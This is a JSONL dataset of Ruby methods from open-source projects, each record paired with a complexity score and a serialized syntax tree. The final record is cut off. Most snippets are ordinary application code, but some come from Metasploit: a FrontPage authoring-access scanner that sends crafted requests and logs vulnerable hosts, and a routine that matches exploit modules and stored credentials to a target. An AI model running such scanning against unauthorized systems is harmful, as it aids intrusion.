{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/comment_config.rb","start_line":204,"raw_source":"def handle_switch(directive, names, extras)\n      directive.cop_names.each do |name|\n        if directive.disabled?\n          names[name] += 1\n        elsif names[name].positive?\n          names[name] -= 1\n        else\n          extras[directive.comment] << name\n        end\n      end\n    end","complexity_score":14.33,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_switch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"directive\"]},{\"type\":\"arg\",\"children\":[\"names\"]},{\"type\":\"arg\",\"children\":[\"extras\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},\"cop_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},\"disabled?\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"positive?\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extras\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},\"comment\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}","id":"0e2e9111-821a-4fe0-9f58-101676116496"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":1646,"raw_source":"def test_attribute_names_on_abstract_class\n    assert_equal [], AbstractCompany.attribute_names\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_attribute_names_on_abstract_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AbstractCompany\"]},\"attribute_names\"]}]}]}","id":"ae8eeee9-ad33-43a2-b50c-857c03a86de3"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/queries/files_query.rb","start_line":123,"raw_source":"def storage_file(file_element)\n              location = location(file_element)\n\n              Results::StorageFile.new(\n                id: id(file_element),\n                name: name(location),\n                size: size(file_element),\n                mime_type: mime_type(file_element),\n                last_modified_at: last_modified_at(file_element),\n                created_by_name: created_by(file_element),\n                location:,\n                permissions: permissions(file_element)\n              )\n            end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_element\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"send\",\"children\":[null,\"location\",{\"type\":\"lvar\",\"children\":[\"file_element\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"StorageFile\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"id\",{\"type\":\"lvar\",\"children\":[\"file_element\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\",{\"type\":\"lvar\",\"children\":[\"location\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[null,\"size\",{\"type\":\"lvar\",\"children\":[\"file_element\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mime_type\"]},{\"type\":\"send\",\"children\":[null,\"mime_type\",{\"type\":\"lvar\",\"children\":[\"file_element\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_modified_at\"]},{\"type\":\"send\",\"children\":[null,\"last_modified_at\",{\"type\":\"lvar\",\"children\":[\"file_element\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_by_name\"]},{\"type\":\"send\",\"children\":[null,\"created_by\",{\"type\":\"lvar\",\"children\":[\"file_element\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"lvar\",\"children\":[\"location\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permissions\"]},{\"type\":\"send\",\"children\":[null,\"permissions\",{\"type\":\"lvar\",\"children\":[\"file_element\"]}]}]}]}]}]}]}","id":"b3893597-2776-4682-8ae2-c42be8546c8c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/frontpage_login.rb","start_line":81,"raw_source":"def check_account(info, fpversion, target_host)\n    return if not fpversion\n\n    connect\n\n    # https://docs.microsoft.com/en-us/previous-versions/office/developer/sharepoint-2010/ms454298(v=office.14)?redirectedfrom=MSDN\n    method = \"method=open+service:#{fpversion}&service_name=/\"\n\n    req = \"POST /_vti_bin/_vti_aut/author.dll HTTP/1.1\\r\\n\" + \"TE: deflate,gzip;q=0.3\\r\\n\" +\n          \"Keep-Alive: 300\\r\\n\" + \"Connection: Keep-Alive, TE\\r\\n\" + \"Host: #{vhost}\\r\\n\" +\n          \"User-Agent: \" + datastore['UserAgent'] + \"\\r\\n\" + \"Content-Type: application/x-www-form-urlencoded\\r\\n\" +\n          \"X-Vermeer-Content-Type: application/x-www-form-urlencoded\" + \"\\r\\n\" +\n          \"Content-Length: #{method.length}\\r\\n\\r\\n\" + method + \"\\r\\n\\r\\n\"\n\n    sock.put(req)\n    res = sock.get_once\n\n    if (res and res.match(/^HTTP\\/1\\.[01]\\s+([^\\s]+)\\s+(.*)/))\n      retcode = $1\n      retmsg = $2.strip\n\n      if (retcode == \"100\")\n        ## Sometimes doesn't work !!!!!!!!!!!!!!!\n        res = sock.get_once\n        if (res and res.match(/^HTTP\\/1\\.[01]\\s+([^\\s]+)\\s+(.*)/))\n          retcode = $1\n          retmsg = $2.strip\n        end\n      end\n\n      case retcode\n      when /^200/\n        print_good(\"#{info} FrontPage ACCESS ALLOWED [#{retcode}]\")\n        # Report a note or vulnerability or something\n        # Not really this one, but close\n        report_vuln(\n          {\n            :host => target_host,\n            :port\t=> rport,\n            :proto\t=> 'tcp',\n            :name\t=> self.name,\n            :info => \"Module #{self.fullname} confirmed access to #{info} [#{retcode}]\",\n            :refs => self.references,\n            :exploited_at => Time.now.utc\n          }\n        )\n      when /^401/\n        print_error(\"#{info} FrontPage Password Protected [#{retcode}]\")\n      when /^403/\n        print_error(\"#{info} FrontPage Authoring Disabled [#{retcode}]\")\n      when /^404/\n        print_error(\"#{info} FrontPage Improper Installation [#{retcode}]\")\n      when /^500/\n        print_error(\"#{info} FrontPage Server Error [#{retcode}]\")\n      else\n        print_error(\"#{info} FrontPage Unknown Response [#{retcode}]\")\n      end\n    end\n\n    disconnect\n  end","complexity_score":99.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_account\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"info\"]},{\"type\":\"arg\",\"children\":[\"fpversion\"]},{\"type\":\"arg\",\"children\":[\"target_host\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpversion\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"method=open+service:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpversion\"]}]},{\"type\":\"str\",\"children\":[\"&service_name=/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"POST /_vti_bin/_vti_aut/author.dll HTTP/1.1\\r\\n\"]},\"+\",{\"type\":\"str\",\"children\":[\"TE: deflate,gzip;q=0.3\\r\\n\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"Keep-Alive: 300\\r\\n\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"Connection: Keep-Alive, TE\\r\\n\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Host: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vhost\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"User-Agent: \"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UserAgent\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"Content-Type: application/x-www-form-urlencoded\\r\\n\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"X-Vermeer-Content-Type: application/x-www-form-urlencoded\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Length: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\\r\\n\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"req\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^HTTP/1\\\\.[01]\\\\s+([^\\\\s]+)\\\\s+(.*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retcode\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"retmsg\",{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[2]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retcode\"]},\"==\",{\"type\":\"str\",\"children\":[\"100\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^HTTP/1\\\\.[01]\\\\s+([^\\\\s]+)\\\\s+(.*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"retcode\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"retmsg\",{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[2]},\"strip\"]}]}]},null]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retcode\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^200\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]}]},{\"type\":\"str\",\"children\":[\" FrontPage ACCESS ALLOWED [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retcode\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_vuln\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"target_host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Module \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fullname\"]}]},{\"type\":\"str\",\"children\":[\" confirmed access to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]}]},{\"type\":\"str\",\"children\":[\" [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retcode\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"references\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exploited_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^401\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]}]},{\"type\":\"str\",\"children\":[\" FrontPage Password Protected [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retcode\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^403\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]}]},{\"type\":\"str\",\"children\":[\" FrontPage Authoring Disabled [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retcode\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^404\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]}]},{\"type\":\"str\",\"children\":[\" FrontPage Improper Installation [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retcode\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^500\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]}]},{\"type\":\"str\",\"children\":[\" FrontPage Server Error [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retcode\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]}]},{\"type\":\"str\",\"children\":[\" FrontPage Unknown Response [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retcode\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"0e2b13c8-dc3b-45cf-b3bc-85f0c2541450"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/uploads_controller.rb","start_line":121,"raw_source":"def upload_mount_satisfied?\n    return true unless upload_model_class_has_mounts?\n\n    upload_model_class.uploader_options.has_key?(upload_mount)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_mount_satisfied?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upload_model_class_has_mounts?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upload_model_class\"]},\"uploader_options\"]},\"has_key?\",{\"type\":\"send\",\"children\":[null,\"upload_mount\"]}]}]}]}","id":"0db7b210-5561-4a42-b416-1d0b3d55917b"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order.rb","start_line":653,"raw_source":"def total_weight\n      @total_weight ||= line_items.joins(:variant).includes(:variant).map(&:item_weight).sum\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"total_weight\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@total_weight\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"line_items\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"variant\"]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"variant\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_weight\"]}]}]},\"sum\"]}]}]}","id":"b3ffe661-1a97-481c-96ad-42a242e18e05"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module_manager/module_sets.rb","start_line":99,"raw_source":"def type_enabled?(type)\n    enablement_by_type[type] || false\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"type_enabled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enablement_by_type\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"cb49eac1-9013-4738-9097-7a5bdfa4b684"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/mistral/capabilities.rb","start_line":64,"raw_source":"def modalities_for(model_id)\n          case model_id\n          when /pixtral/\n            {\n              input: %w[text image],\n              output: ['text']\n            }\n          when /embed/\n            {\n              input: ['text'],\n              output: ['embeddings']\n            }\n          else\n            {\n              input: ['text'],\n              output: ['text']\n            }\n          end\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"modalities_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"pixtral\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"image\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"text\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"embed\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"text\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"embeddings\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"text\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"text\"]}]}]}]}]}]}","id":"049c3bcf-a445-4f27-be98-bd297eef8a54"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/analyze.rb","start_line":63,"raw_source":"def suggest_modules_for_vulns(eval_host, vuln_families, payloads: nil)\n    mrefs, _mports, _mservs = Msf::Modules::Metadata::Cache.instance.all_exploit_maps\n    suggested_modules = []\n\n    evaluated_module_targets = Set.new\n    to_evaluate_with_defaults = Array.new\n    vuln_families.each do |vulns, refs|\n      found_modules = mrefs.values_at(*refs).compact.reduce(:+)\n      next unless found_modules\n\n      services = vulns.map(&:service).compact\n      found_modules.each do |fnd_mod|\n        if services.any?\n          services.each do |svc|\n            port = svc.port\n            next if evaluated_module_targets.include?([fnd_mod, port])\n\n            creds = @framework.db.creds(svcs: [svc.name], workspace: eval_host.workspace)\n            r = Result.new(mod: fnd_mod, host: eval_host, datastore: {'rport': port},\n                           available_creds: creds, payloads: payloads, framework: @framework)\n            if r.match?\n              suggested_modules << r.evaluate\n            end\n            evaluated_module_targets << [fnd_mod, port]\n          end\n        else\n          # Only have the default port to go off of, at least for this vuln,\n          # prefer using the service data if available on a different vuln\n          # entry\n          port = fnd_mod.rport\n          to_evaluate_with_defaults << [fnd_mod, port]\n        end\n      end\n    end\n\n    to_evaluate_with_defaults.each do |fnd_mod, port|\n      next if evaluated_module_targets.include?([fnd_mod, port])\n\n      creds = @framework.db.creds(port: port, workspace: eval_host.workspace) if port\n      r = Result.new(mod: fnd_mod, host: eval_host, datastore: {'rport': port},\n                     available_creds: creds, payloads: payloads, framework: @framework)\n\n      if r.match?\n        suggested_modules << r.evaluate\n      end\n      evaluated_module_targets << [fnd_mod, port]\n    end\n\n    suggested_modules\n  end","complexity_score":84.1,"ast_json":"{\"type\":\"def\",\"children\":[\"suggest_modules_for_vulns\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"eval_host\"]},{\"type\":\"arg\",\"children\":[\"vuln_families\"]},{\"type\":\"kwoptarg\",\"children\":[\"payloads\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mrefs\"]},{\"type\":\"lvasgn\",\"children\":[\"_mports\"]},{\"type\":\"lvasgn\",\"children\":[\"_mservs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Modules\"]},\"Metadata\"]},\"Cache\"]},\"instance\"]},\"all_exploit_maps\"]}]},{\"type\":\"lvasgn\",\"children\":[\"suggested_modules\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"evaluated_module_targets\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"to_evaluate_with_defaults\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_families\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vulns\"]},{\"type\":\"arg\",\"children\":[\"refs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"found_modules\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mrefs\"]},\"values_at\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"refs\"]}]}]},\"compact\"]},\"reduce\",{\"type\":\"sym\",\"children\":[\"+\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_modules\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"services\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vulns\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"service\"]}]}]},\"compact\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_modules\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fnd_mod\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"services\"]},\"any?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"services\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"svc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]},\"port\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"evaluated_module_targets\"]},\"include?\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fnd_mod\"]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"creds\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@framework\"]},\"db\"]},\"creds\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"svcs\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"svc\"]},\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eval_host\"]},\"workspace\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mod\"]},{\"type\":\"lvar\",\"children\":[\"fnd_mod\"]}]},{\"type\